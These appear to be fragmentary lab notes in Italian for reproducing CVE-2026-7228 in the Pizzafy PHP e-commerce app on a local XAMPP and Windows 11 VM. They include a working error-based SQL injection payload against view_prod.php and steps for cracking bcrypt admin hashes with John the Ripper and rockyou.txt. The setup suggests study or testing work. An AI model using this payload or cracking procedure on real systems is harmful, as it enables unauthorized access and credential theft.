
recursos de pesquisa para cve-2026-7228
risorse di ricerca per cve-2026-7228
installazione di virtual-box: https://www.virtualbox.org/wiki/Downloads
https://www.microsoft.com/it-it/software-download/windows11
https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html
cve vulnerabilità: https://nvd.nist.gov/vuln/detail/CVE-2026-7228
github per exploit e soluzioni: https://github.com/fernando-mengali/vulndb-submissions.git
Estrarre il progetto di pizzafy e spostare la cartella in htdocs di apache su xampp
sito pizzafy: http://localhost/pizzafy/Pizzafy/
login amministratore: http://localhost/pizzafy/Pizzafy/admin/login.php
Credenziali → Username: [email protected] Password: admin123
Specificatamente SQL Injection Error-Based restituendo l’errore in XML
Primo con metodo GET : http://localhost/Pizzafy/pizzafy/view_prod.php?id=
9%20AND%20extractvalue(rand(),%20concat(0x7e,version()))%20--

Linguaggio di programmazione: ==python==
Libreria utilizzata: request import request
File di exploit: /script/test.py
Esecuzione di test.py
Output:

Installazione di john the ripper per decriptare le password dal hash value.Per sistemi operativi come Kali il tool è già installato.
Salvare le/la password in un file txt: hash.txt
Installazione del file rockyou.txt: git clone https://gitlab.com/kalilinux/packages/wordlists.git
gunzip rockyou.txt.gz
Tipologia di password criptata: ==bcrypt==
Esecuzione del tool con il file wordlist: john --wordlist=rockyou.txt --format=bcrypt hash.txt
Output:

Password: admin123
Aprire virtual-box e impostare un indirizzo ip attraverso only-host per la macchina virtuale di windows 11


Avviare la macchina di Windows 11 e controllare se è stato impostato bene l'indirizzo ip
Digitare: ipconfig

Start Apache e MySQL

python3 exploit.py
Aprire pizzafy/Pizzafy e trovare il file view_prod.php e trovare la seguente parte:


